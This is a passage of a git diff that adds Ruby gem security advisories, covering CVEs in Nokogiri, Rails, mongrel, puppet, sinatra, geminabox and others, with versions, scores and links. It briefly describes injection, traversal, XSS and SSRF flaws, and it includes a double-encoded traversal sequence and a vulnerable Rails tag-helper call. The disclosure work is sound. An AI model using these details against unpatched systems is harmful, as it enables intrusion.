+    Upgrade to Nokogiri `>= 1.13.4`.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.13.4"
+  related:
+    url:
+    - https://github.com/sparklemotion/nokogiri/commit/e444525ef1634b675cd1cf52d39f4320ef0aecfd
+    - https://github.com/sparklemotion/nokogiri/releases/tag/v1.13.4
+    - https://groups.google.com/g/ruby-security-ann/c/vX7qSjsvWis/m/TJWN4oOKBwAJ
+---
diff --git a/advisories/_posts/2022-04-11-CVE-2022-24839.md b/advisories/_posts/2022-04-11-CVE-2022-24839.md
new file mode 100644
index 00000000..5e130dec
--- /dev/null
+++ b/advisories/_posts/2022-04-11-CVE-2022-24839.md
@@ -0,0 +1,51 @@
+---
+layout: advisory
+title: 'CVE-2022-24839 (nokogiri): Denial of Service (DoS) in Nokogiri on JRuby'
+comments: false
+categories:
+- nokogiri
+- jruby
+advisory:
+  gem: nokogiri
+  platform: jruby
+  cve: 2022-24839
+  ghsa: gx8x-g87m-h5q6
+  url: https://github.com/sparklemotion/nekohtml/security/advisories/GHSA-9849-p7jc-9rmv
+  title: Denial of Service (DoS) in Nokogiri on JRuby
+  date: 2022-04-11
+  description: |
+    ## Summary
+
+    Nokogiri `v1.13.4` updates the vendored `org.cyberneko.html` library to
+    `1.9.22.noko2` which addresses [CVE-2022-24839](https://github.com/sparklemotion/nekohtml/security/advisories/GHSA-9849-p7jc-9rmv).
+    That CVE is rated 7.5 (High Severity).
+
+    See [GHSA-9849-p7jc-9rmv](https://github.com/sparklemotion/nekohtml/security/advisories/GHSA-9849-p7jc-9rmv)
+    for more information.
+
+    Please note that this advisory only applies to the **JRuby** implementation of Nokogiri `< 1.13.4`.
+
+    ## Mitigation
+
+    Upgrade to Nokogiri `>= 1.13.4`.
+
+    ## Impact
+
+    ### [CVE-2022-24839](https://github.com/sparklemotion/nekohtml/security/advisories/GHSA-9849-p7jc-9rmv) in nekohtml
+
+    - **Severity**: High 7.5
+    - **Type**: [CWE-400](https://cwe.mitre.org/data/definitions/400.html) Uncontrolled Resource Consumption
+    - **Description**: The fork of `org.cyberneko.html` used by Nokogiri (Rubygem) raises a
+      `java.lang.OutOfMemoryError` exception when parsing ill-formed HTML markup.
+    - **See also**: [GHSA-9849-p7jc-9rmv](https://github.com/sparklemotion/nekohtml/security/advisories/GHSA-9849-p7jc-9rmv)
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.13.4"
+  related:
+    ghsa:
+    - gx8x-g87m-h5q6
+    url:
+    - https://github.com/sparklemotion/nekohtml/commit/a800fce3b079def130ed42a408ff1d09f89e773d
+    - https://github.com/sparklemotion/nokogiri/releases/tag/v1.13.4
+    - https://groups.google.com/g/ruby-security-ann/c/vX7qSjsvWis/m/TJWN4oOKBwAJ
+---
diff --git a/advisories/_posts/2022-04-20-CVE-2022-25648.md b/advisories/_posts/2022-04-20-CVE-2022-25648.md
new file mode 100644
index 00000000..1e54402e
--- /dev/null
+++ b/advisories/_posts/2022-04-20-CVE-2022-25648.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2022-25648 (git): Command injection in ruby-git'
+comments: false
+categories:
+- git
+advisory:
+  gem: git
+  cve: 2022-25648
+  ghsa: 69p6-wvmq-27gg
+  url: https://github.com/ruby-git/ruby-git/pull/569
+  title: Command injection in ruby-git
+  date: 2022-04-20
+  description: |
+    The package git before 1.11.0 are vulnerable to Command Injection via
+    git argument injection. When calling the fetch(remote = 'origin', opts = {}) function,
+    the remote parameter is passed to the git fetch subcommand in a way that additional
+    flags can be set. The additional flags can be used to perform a command injection.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.11.0"
+  related:
+    url:
+    - https://github.com/ruby-git/ruby-git/releases/tag/v1.11.0
+---
diff --git a/advisories/_posts/2022-04-20-CVE-2022-29498.md b/advisories/_posts/2022-04-20-CVE-2022-29498.md
new file mode 100644
index 00000000..c891064e
--- /dev/null
+++ b/advisories/_posts/2022-04-20-CVE-2022-29498.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2022-29498 (blazer): SQL injection for certain queries with variables'
+comments: false
+categories:
+- blazer
+advisory:
+  gem: blazer
+  cve: 2022-29498
+  ghsa: qf9q-q4hh-qph3
+  url: https://github.com/ankane/blazer/issues/392
+  title: SQL injection for certain queries with variables
+  date: 2022-04-20
+  description: |
+    For some queries, specific variable values can modify the query
+    rather than just the variable. This can occur if:
+
+    1. the query's data source uses different escaping than the Rails database OR
+    2. the query has a variable inside a string literal
+
+    Since Blazer is designed to run arbitrary queries, the impact will typically be low.
+    Users cannot run any queries they could not have already run. However, an attacker
+    could get a user to run a query they would not have normally run. If the data source
+    has write permissions, this could include modifying data in some cases.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.6.0"
+---
diff --git a/advisories/_posts/2022-04-22-CVE-2011-1497.md b/advisories/_posts/2022-04-22-CVE-2011-1497.md
new file mode 100644
index 00000000..02265412
--- /dev/null
+++ b/advisories/_posts/2022-04-22-CVE-2011-1497.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2011-1497 (actionpack): Cross site scripting in rails/actionpack < 3.0.6'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2011-1497
+  ghsa: q58j-fmvf-9rq6
+  url: https://github.com/rails/rails/blob/38df020c95beca7e12f0188cb7e18f3c37789e20/actionpack/CHANGELOG
+  title: Cross site scripting in rails/actionpack < 3.0.6
+  date: 2022-04-22
+  description: |
+    A cross-site scripting vulnerability flaw was found in
+    the auto_link function in Rails before version 3.0.6.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 3.0.6"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-1497
+    - https://github.com/rails/rails/blob/38df020c95beca7e12f0188cb7e18f3c37789e20/actionpack/CHANGELOG
+    - https://github.com/advisories/GHSA-q58j-fmvf-9rq6
+    - https://www.openwall.com/lists/oss-security/2011/04/06/13
+---
diff --git a/advisories/_posts/2022-04-26-CVE-2022-27311.md b/advisories/_posts/2022-04-26-CVE-2022-27311.md
new file mode 100644
index 00000000..98965e33
--- /dev/null
+++ b/advisories/_posts/2022-04-26-CVE-2022-27311.md
@@ -0,0 +1,20 @@
+---
+layout: advisory
+title: 'CVE-2022-27311 (gibbon): Server side request forgery in gibbon'
+comments: false
+categories:
+- gibbon
+advisory:
+  gem: gibbon
+  cve: 2022-27311
+  ghsa: vx9g-377x-xwxq
+  url: https://github.com/amro/gibbon/pull/321
+  title: Server side request forgery in gibbon
+  date: 2022-04-26
+  description: |
+    Gibbon v3.4.3 and below allows attackers to execute a Server-Side Request
+    Forgery (SSRF) via a crafted URL. This issue has been resolved in version 3.4.4
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 3.4.4"
+---
diff --git a/advisories/_posts/2022-04-26-CVE-2022-27777.md b/advisories/_posts/2022-04-26-CVE-2022-27777.md
new file mode 100644
index 00000000..011b832c
--- /dev/null
+++ b/advisories/_posts/2022-04-26-CVE-2022-27777.md
@@ -0,0 +1,60 @@
+---
+layout: advisory
+title: 'CVE-2022-27777 (actionview): Possible XSS Vulnerability in Action View tag
+  helpers'
+comments: false
+categories:
+- actionview
+- rails
+advisory:
+  gem: actionview
+  framework: rails
+  cve: 2022-27777
+  ghsa: ch3h-j2vf-95pv
+  url: https://groups.google.com/g/ruby-security-ann/c/9wJPEDv-iRw
+  title: Possible XSS Vulnerability in Action View tag helpers
+  date: 2022-04-26
+  description: |
+    There is a possible XSS vulnerability in Action View tag helpers.  Passing
+    untrusted input as hash keys can lead to a possible XSS vulnerability. This
+    vulnerability has been assigned the CVE identifier CVE-2022-27777.
+
+    Versions Affected:  ALL
+    Not affected:       NONE
+    Fixed Versions:     7.0.2.4, 6.1.5.1, 6.0.4.8, 5.2.7.1
+
+    ## Impact
+
+    If untrusted data is passed as the hash key for tag attributes, there is a
+    possibility that the untrusted data may not be properly escaped which can
+    lead to an XSS vulnerability.
+
+    Impacted code will look something like this:
+
+    ```
+    check_box_tag('thename', 'thevalue', false, aria: { malicious_input => 'thevalueofaria' })
+    ```
+
+    Where the "malicious_input" variable contains untrusted data.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    ## Releases
+
+    The FIXED releases are available at the normal locations.
+
+    ## Workarounds
+
+    Escape the untrusted data before using it as a key for tag helper methods.
+  cvss_v3: 6.1
+  patched_versions:
+  - "~> 5.2.7, >= 5.2.7.1"
+  - "~> 6.0.4, >= 6.0.4.8"
+  - "~> 6.1.5, >= 6.1.5.1"
+  - ">= 7.0.2.4"
+  related:
+    url:
+    - https://github.com/rails/rails/commit/649516ce0feb699ae06a8c5e81df75d460cc9a85
+    - https://github.com/rails/rails/blob/7-0-stable/actionview/CHANGELOG.md#rails-7024-april-26-2022
+---
diff --git a/advisories/_posts/2022-04-27-CVE-2022-22577.md b/advisories/_posts/2022-04-27-CVE-2022-22577.md
new file mode 100644
index 00000000..f46bb032
--- /dev/null
+++ b/advisories/_posts/2022-04-27-CVE-2022-22577.md
@@ -0,0 +1,49 @@
+---
+layout: advisory
+title: 'CVE-2022-22577 (actionpack): Possible XSS Vulnerability in Action Pack'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2022-22577
+  ghsa: mm33-5vfq-3mm3
+  url: https://groups.google.com/g/ruby-security-ann/c/NuFRKaN5swI
+  title: Possible XSS Vulnerability in Action Pack
+  date: 2022-04-27
+  description: |
+    There is a possible XSS vulnerability in Rails / Action Pack. This vulnerability has been
+    assigned the CVE identifier CVE-2022-22577.
+
+    Versions Affected:  >= 5.2.0
+    Not affected:       < 5.2.0
+    Fixed Versions:     7.0.2.4, 6.1.5.1, 6.0.4.8, 5.2.7.1
+
+    ## Impact
+
+    CSP headers were only sent along with responses that Rails considered as
+    "HTML" responses.  This left API requests without CSP headers, which could
+    possibly expose users to XSS attacks.
+
+    ## Releases
+
+    The FIXED releases are available at the normal locations.
+
+    ## Workarounds
+
+    Set a CSP for your API responses manually.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 5.2.0"
+  patched_versions:
+  - "~> 5.2.7, >= 5.2.7.1"
+  - "~> 6.0.4, >= 6.0.4.8"
+  - "~> 6.1.5, >= 6.1.5.1"
+  - ">= 7.0.2.4"
+  related:
+    url:
+    - https://github.com/rails/rails/pull/44635
+    - https://github.com/rails/rails/blob/7-0-stable/actionpack/CHANGELOG.md#rails-7024-april-26-2022
+---
diff --git a/advisories/_posts/2022-05-01-CVE-2007-6612.md b/advisories/_posts/2022-05-01-CVE-2007-6612.md
new file mode 100644
index 00000000..01c47017
--- /dev/null
+++ b/advisories/_posts/2022-05-01-CVE-2007-6612.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2007-6612 (mongrel): Mongrel vulnerable to directory traversal via double-encoded
+  sequences'
+comments: false
+categories:
+- mongrel
+advisory:
+  gem: mongrel
+  cve: 2007-6612
+  ghsa: m7r6-43v2-49vf
+  url: https://nvd.nist.gov/vuln/detail/CVE-2007-6612
+  title: Mongrel vulnerable to directory traversal via double-encoded sequences
+  date: 2022-05-01
+  description: |
+    Directory traversal vulnerability in DirHandler (lib/mongrel/handlers.rb)
+    in Mongrel 1.0.4 (1.0.3 and prior are not affected) and 1.1.x before
+    1.1.3 allows remote attackers to read arbitrary files via an HTTP
+    request containing double-encoded sequences (`.%252e`).
+  cvss_v2: 6.4
+  unaffected_versions:
+  - "< 1.0.4"
+  patched_versions:
+  - "~> 1.0.5"
+  - ">= 1.1.3"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2007-6612
+    - https://lists.apple.com/archives/security-announce/2008//May/msg00001.html
+    - https://web.archive.org/web/20080111034049/http://rubyforge.org/pipermail/mongrel-users/2007-December/004743.html
+    - https://web.archive.org/web/20200301091534/http://www.securityfocus.com/bid/27133
+    - https://github.com/advisories/GHSA-m7r6-43v2-49vf
+---
diff --git a/advisories/_posts/2022-05-02-CVE-2010-0156.md b/advisories/_posts/2022-05-02-CVE-2010-0156.md
new file mode 100644
index 00000000..6b86e122
--- /dev/null
+++ b/advisories/_posts/2022-05-02-CVE-2010-0156.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2010-0156 (puppet): Puppet arbitrary files overwrite via a symlink attack'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2010-0156
+  ghsa: vrh7-99jh-3fmm
+  url: https://puppet.com/security/cve/cve-2010-0156
+  title: Puppet arbitrary files overwrite via a symlink attack
+  date: 2022-05-02
+  description: |
+    Puppet 0.24.x before 0.24.9 and 0.25.x before 0.25.2 allows local
+    users to overwrite arbitrary files via a symlink attack on the
+    (1) /tmp/daemonout,
+    (2) /tmp/puppetdoc.txt,
+    (3) /tmp/puppetdoc.tex, or
+    (4) /tmp/puppetdoc.aux temporary file.
+  cvss_v2: 3.3
+  unaffected_versions:
+  - "< 0.24.0"
+  patched_versions:
+  - "~> 0.24.9"
+  - ">= 0.25.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2010-0156
+    - https://puppet.com/security/cve/cve-2010-0156
+    - https://github.com/puppetlabs/puppet/commit/0aae57f91dc69b22fb674f8de3a13c22edd07128
+    - https://github.com/puppetlabs/puppet/commit/6111ba80f2c6f6d1541af971f565119e6e03d77d
+    - https://bugzilla.redhat.com/show_bug.cgi?id=502881
+    - http://groups.google.com/group/puppet-announce/browse_thread/thread/4401823f6cbf6087
+    - http://groups.google.com/group/puppet-announce/browse_thread/thread/73cd1b2896d986c2
+    - http://lists.fedoraproject.org/pipermail/package-announce/2010-March/036083.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2010-March/036166.html
+    - http://lists.opensuse.org/opensuse-security-announce/2010-06/msg00001.html
+    - https://web.archive.org/web/20100316113904/http://secunia.com/advisories/38766
+    - https://github.com/advisories/GHSA-vrh7-99jh-3fmm
+---
diff --git a/advisories/_posts/2022-05-03-CVE-2022-28481.md b/advisories/_posts/2022-05-03-CVE-2022-28481.md
new file mode 100644
index 00000000..c86943d0
--- /dev/null
+++ b/advisories/_posts/2022-05-03-CVE-2022-28481.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2022-28481 (csv-safe): CSV-Safe improperly filters special characters
+  potentially leading to CSV injection'
+comments: false
+categories:
+- csv-safe
+advisory:
+  gem: csv-safe
+  cve: 2022-28481
+  ghsa: f55g-x8qq-2569
+  url: https://github.com/zvory/csv-safe/issues/7
+  title: CSV-Safe improperly filters special characters potentially leading to CSV
+    injection
+  date: 2022-05-03
+  description: |
+    CSV-Safe gem < 3.0.0 doesn't filter out special characters which could
+    trigger CSV Injection.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 3.0.0"
+  related:
+    url:
+    - https://github.com/zvory/csv-safe/pull/8
+    - https://github.com/WeblateOrg/weblate/commit/d9e136ff228e3760fd6dd7572869ac38e9a81809
+    - https://hackerone.com/reports/223999
+---
diff --git a/advisories/_posts/2022-05-03-CVE-2022-29970.md b/advisories/_posts/2022-05-03-CVE-2022-29970.md
new file mode 100644
index 00000000..ff7f23ee
--- /dev/null
+++ b/advisories/_posts/2022-05-03-CVE-2022-29970.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2022-29970 (sinatra): sinatra does not validate expanded path matches'
+comments: false
+categories:
+- sinatra
+advisory:
+  gem: sinatra
+  cve: 2022-29970
+  ghsa: qp49-3pvw-x4m5
+  url: https://github.com/sinatra/sinatra/pull/1683
+  title: sinatra does not validate expanded path matches
+  date: 2022-05-03
+  description: |
+    Sinatra before 2.2.0 does not validate that the expanded path matches
+    public_dir when serving static files.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.2.0"
+---
diff --git a/advisories/_posts/2022-05-05-CVE-2013-2095.md b/advisories/_posts/2022-05-05-CVE-2013-2095.md
new file mode 100644
index 00000000..925c5eb1
--- /dev/null
+++ b/advisories/_posts/2022-05-05-CVE-2013-2095.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2013-2095 (openshift-origin-controller): RubyGem openshift-origin-controller
+  is vulnerable to command injection'
+comments: false
+categories:
+- openshift-origin-controller
+advisory:
+  gem: openshift-origin-controller
+  cve: 2013-2095
+  ghsa: 77xq-7c6p-6xp6
+  url: https://access.redhat.com/security/cve/cve-2013-2095
+  title: RubyGem openshift-origin-controller is vulnerable to command injection
+  date: 2022-05-05
+  description: |
+    'rubygem-openshift-origin-controller: API can be used to create applications
+    via cartridge_cache.rb URI.prase() to perform command injection'
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  notes: |
+    - Never patched
+    - Last release is 1.3.4 (Jan.16,2013)
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2013-2095
+    - https://access.redhat.com/security/cve/cve-2013-2095
+    - https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-2095
+    - https://github.com/advisories/GHSA-77xq-7c6p-6xp6
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2017-1000026.md b/advisories/_posts/2022-05-13-CVE-2017-1000026.md
new file mode 100644
index 00000000..30cb6403
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2017-1000026.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2017-1000026 (mixlib-archive): mixlib-archive Path Traversal vulnerability'
+comments: false
+categories:
+- mixlib-archive
+advisory:
+  gem: mixlib-archive
+  cve: 2017-1000026
+  ghsa: 98wx-cw86-c97x
+  url: https://github.com/chef/mixlib-archive/blob/master/CHANGELOG.md
+  title: mixlib-archive Path Traversal vulnerability
+  date: 2022-05-13
+  description: |
+    Chef Software's mixlib-archive versions 0.3.0 and older are vulnerable
+    to a directory traversal attack allowing attackers to overwrite arbitrary files
+    by using `..` in tar archive entries
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 0.4.0"
+  related:
+    url:
+    - https://github.com/chef/mixlib-archive/pull/6
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2017-10689.md b/advisories/_posts/2022-05-13-CVE-2017-10689.md
new file mode 100644
index 00000000..6d70bb0f
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2017-10689.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2017-10689 (puppet): Tarball permission preservation in puppet'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2017-10689
+  ghsa: vw22-465p-8j5w
+  url: https://puppet.com/security/cve/CVE-2017-10689
+  title: Tarball permission preservation in puppet
+  date: 2022-05-13
+  description: |
+    When installing a module using the system tar, the PMT will filter filesystem
+    permissions to a sane value. This may just be based on the user's umask.
+
+    When using minitar, files are unpacked with whatever permissions are in the
+    tarball. This is potentially unsafe, as tarballs can be easily created with
+    weird permissions.
+  cvss_v3: 5.5
+  patched_versions:
+  - "~> 4.10.10"
+  - ">= 5.3.4"
+  related:
+    url:
+    - https://access.redhat.com/errata/RHSA-2018:2927
+    - https://usn.ubuntu.com/3567-1/
+    - https://github.com/puppetlabs/puppet/commit/17d9e02da3882e44c1876e2805cf9708481715ee
+    - https://github.com/puppetlabs/puppet/commit/2f1047f85e22cde139a421bc25d371f2ffc92cb1
+    - https://tickets.puppetlabs.com/browse/PUP-7866
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2017-10906.md b/advisories/_posts/2022-05-13-CVE-2017-10906.md
new file mode 100644
index 00000000..dc54321e
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2017-10906.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2017-10906 (fluentd): Fluentd Escape Sequence Injection Vulnerability'
+comments: false
+categories:
+- fluentd
+advisory:
+  gem: fluentd
+  cve: 2017-10906
+  ghsa: 5jrp-w8fr-mrww
+  url: https://github.com/fluent/fluentd/pull/1733
+  title: Fluentd Escape Sequence Injection Vulnerability
+  date: 2022-05-13
+  description: |
+    Escape sequence injection vulnerability in Fluentd versions 0.12.29 through
+    0.12.40 may allow an attacker to change the terminal UI or execute arbitrary commands
+    on the device via unspecified vectors.
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "< 0.12.29"
+  patched_versions:
+  - ">= 0.12.41"
+  related:
+    url:
+    - https://access.redhat.com/errata/RHSA-2018:2225
+    - https://github.com/fluent/fluentd/blob/v0.12/CHANGELOG.md#bug-fixes
+    - https://jvn.jp/en/vu/JVNVU95124098/index.html
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2017-14506.md b/advisories/_posts/2022-05-13-CVE-2017-14506.md
new file mode 100644
index 00000000..2b384f85
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2017-14506.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2017-14506 (geminabox): Gem in a Box vulnerable to Cross-site Scripting'
+comments: false
+categories:
+- geminabox
+advisory:
+  gem: geminabox
+  cve: 2017-14506
+  ghsa: 98hq-3qvg-pg78
+  url: http://baraktawily.blogspot.co.il/2017/09/gem-in-box-xss-vulenrability-cve-2017.html
+  title: Gem in a Box vulnerable to Cross-site Scripting
+  date: 2022-05-13
+  description: |
+    geminabox (aka Gem in a Box) before 0.13.6 is vulnerable to Cross-site
+    Scripting (XSS), as demonstrated by uploading a gem file that has a crafted gem.homepage
+    value in its .gemspec file.
+  cvss_v3: 5.4
+  patched_versions:
+  - ">= 0.13.6"
+  related:
+    url:
+    - https://github.com/geminabox/geminabox/blob/master/CHANGELOG.md
+    - https://github.com/geminabox/geminabox/commit/99aaae196c4fc6ae0df28e186ca1e493ae658e02
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2017-14683.md b/advisories/_posts/2022-05-13-CVE-2017-14683.md
new file mode 100644
index 00000000..30095f2b
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2017-14683.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2017-14683 (geminabox): Gem in a Box vulnerable to Cross-site Request
+  Forgery'
+comments: false
+categories:
+- geminabox
+advisory:
+  gem: geminabox
+  cve: 2017-14683
+  ghsa: qwv2-2x8g-g43g
+  url: http://baraktawily.blogspot.co.il/2017/09/gem-in-box-xss-vulenrability-cve-2017.html
+  title: Gem in a Box vulnerable to Cross-site Request Forgery
+  date: 2022-05-13
+  description: |
+    geminabox (aka Gem in a Box) before 0.13.7 has CSRF, as demonstrated
+    by an unintended gem upload.
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 0.13.7"
+  related:
+    url:
+    - https://github.com/geminabox/geminabox/blob/master/CHANGELOG.md
+    - https://github.com/geminabox/geminabox/commit/a01c4e8b3403624109499dec75eb6ee30bd01a55
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2017-16355.md b/advisories/_posts/2022-05-13-CVE-2017-16355.md
new file mode 100644
index 00000000..ddeb6282
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2017-16355.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2017-16355 (passenger): Phusion Passenger information disclosure'
+comments: false
+categories:
+- passenger
+advisory:
+  gem: passenger
+  cve: 2017-16355
+  ghsa: cv3f-px9r-54hm
+  url: https://github.com/phusion/passenger/commit/4043718264095cde6623c2cbe8c644541036d7bf
+  title: Phusion Passenger information disclosure
+  date: 2022-05-13
+  description: |
+    In agent/Core/SpawningKit/Spawner.h in Phusion Passenger 5.1.10 (fixed
+    in Passenger Open Source 5.1.11 and Passenger Enterprise 5.1.10), if Passenger is
+    running as root, it is possible to list the contents of arbitrary files on a system
+    by symlinking a file named REVISION from the application root folder to a file of
+    choice and querying passenger-status --show=xml.
+  cvss_v3: 4.7
+  patched_versions:
+  - ">= 5.1.11"
+  related:
+    url:
+    - https://blog.phusion.nl/2017/10/13/passenger-security-advisory-5-1-11/
+    - https://seclists.org/bugtraq/2019/Mar/34
+    - https://www.debian.org/security/2019/dsa-4415
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2017-2096.md b/advisories/_posts/2022-05-13-CVE-2017-2096.md
new file mode 100644
index 00000000..ca72f3fe
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2017-2096.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2017-2096 (smalruby): smalruby and smalruby-editor vulnerable to OS Command
+  Injection'
+comments: false
+categories:
+- smalruby
+advisory:
+  gem: smalruby
+  cve: 2017-2096
+  ghsa: f489-655r-x6gr
+  url: http://jvn.jp/en/jp/JVN50197114/index.html
+  title: smalruby and smalruby-editor vulnerable to OS Command Injection
+  date: 2022-05-13
+  description: |
+    smalruby-editor prior to 0.4.1 and smalruby prior to 0.1.11 allows remote
+    attackers to execute arbitrary OS commands via unspecified vectors.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 0.1.11"
+  related:
+    url:
+    - http://smalruby.jp/blog/2017/01/14/smalruby-editor-0-4-1-has-been-released-english.html
+    - https://web.archive.org/web/20200227194312/http://www.securityfocus.com/bid/95775
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2017-2662.md b/advisories/_posts/2022-05-13-CVE-2017-2662.md
new file mode 100644
index 00000000..9b625e5b
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2017-2662.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2017-2662 (katello): katello Improper Privilege Management vulnerability'
+comments: false
+categories:
+- katello
+advisory:
+  gem: katello
+  cve: 2017-2662
+  ghsa: cpv6-pfq6-j2v7
+  url: https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-2662
+  title: katello Improper Privilege Management vulnerability
+  date: 2022-05-13
+  description: |
+    A flaw was found in Foreman's katello plugin version 3.4.5. After setting
+    a new role to allow restricted access on a repository with a filter (filter set
+    on the Product Name), the filter is not respected when the actions are done via
+    hammer using the repository id.
+  cvss_v3: 4.3
+  patched_versions:
+  - ">= 3.17.0.rc1"
+  related:
+    url:
+    - https://projects.theforeman.org/issues/18838
+    - https://github.com/Katello/katello/pull/8772
+    - https://github.com/Katello/katello/commit/853260e3e9f94179d5881199e7885d1c08e600f6
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2017-2667.md b/advisories/_posts/2022-05-13-CVE-2017-2667.md
new file mode 100644
index 00000000..40e47278
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2017-2667.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2017-2667 (hammer_cli_foreman): hammer_cli_foreman Improper Certificate
+  Validation vulnerability'
+comments: false
+categories:
+- hammer_cli_foreman
+advisory:
+  gem: hammer_cli_foreman
+  cve: 2017-2667
+  ghsa: 77h8-xr85-3x5q
+  url: https://access.redhat.com/errata/RHSA-2018:0336
+  title: hammer_cli_foreman Improper Certificate Validation vulnerability
+  date: 2022-05-13
+  description: |
+    Hammer CLI, a CLI utility for Foreman, before version 0.10.0, did not
+    explicitly set the verify_ssl flag for apipie-bindings that disable it by default.
+    As a result the server certificates are not checked and connections are prone to
+    man-in-the-middle attacks.
+  cvss_v3: 8.1
+  patched_versions:
+  - ">= 0.10.0"
+  related:
+    url:
+    - https://bugzilla.redhat.com/show_bug.cgi?id=1436262
+    - http://projects.theforeman.org/issues/19033
+    - http://www.securityfocus.com/bid/97153
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2018-1000073.md b/advisories/_posts/2022-05-13-CVE-2018-1000073.md
new file mode 100644
index 00000000..3b9ba0b7
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2018-1000073.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2018-1000073 (rubygems-update): RubyGems Link Following vulnerability'
+comments: false
+categories:
+- rubygems-update
+advisory:
+  gem: rubygems-update
+  cve: 2018-1000073
+  ghsa: gx69-6cp4-hxrj
+  url: https://github.com/rubygems/rubygems/commit/1b931fc03b819b9a0214be3eaca844ef534175e2
+  title: RubyGems Link Following vulnerability
+  date: 2022-05-13
+  description: |
+    RubyGems version Ruby 2.2 series: 2.2.9 and earlier, Ruby 2.3 series:
+    2.3.6 and earlier, Ruby 2.4 series: 2.4.3 and earlier, Ruby 2.5 series: 2.5.0 and
+    earlier, prior to trunk revision 62422 contains a Directory Traversal vulnerability
+    in `install_location` function of `package.rb` that can result in path traversal
+    when writing to a symlinked basedir outside of the root. This vulnerability appears
+    to have been fixed in 2.7.6.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.7.6"
+  related:
+    url:
+    - https://access.redhat.com/errata/RHSA-2018:3729
+    - https://access.redhat.com/errata/RHSA-2018:3730
+    - https://access.redhat.com/errata/RHSA-2018:3731
+    - https://access.redhat.com/errata/RHSA-2019:2028
+    - https://access.redhat.com/errata/RHSA-2020:0542
+    - https://access.redhat.com/errata/RHSA-2020:0591
+    - https://access.redhat.com/errata/RHSA-2020:0663
+    - https://lists.debian.org/debian-lts-announce/2018/08/msg00028.html
+    - https://usn.ubuntu.com/3621-1/
+    - https://www.debian.org/security/2018/dsa-4219
+    - https://www.debian.org/security/2018/dsa-4259
+    - http://blog.rubygems.org/2018/02/15/2.7.6-released.html
+    - http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00036.html
+    - https://github.com/jruby/jruby/commit/0b06b48ab4432237ce5fc1bef47f2c6bcf7843f7
+    - https://github.com/rubygems/rubygems/commit/666ef793cad42eed96f7aee1cdf77865db921099
+    - https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=925986
+---
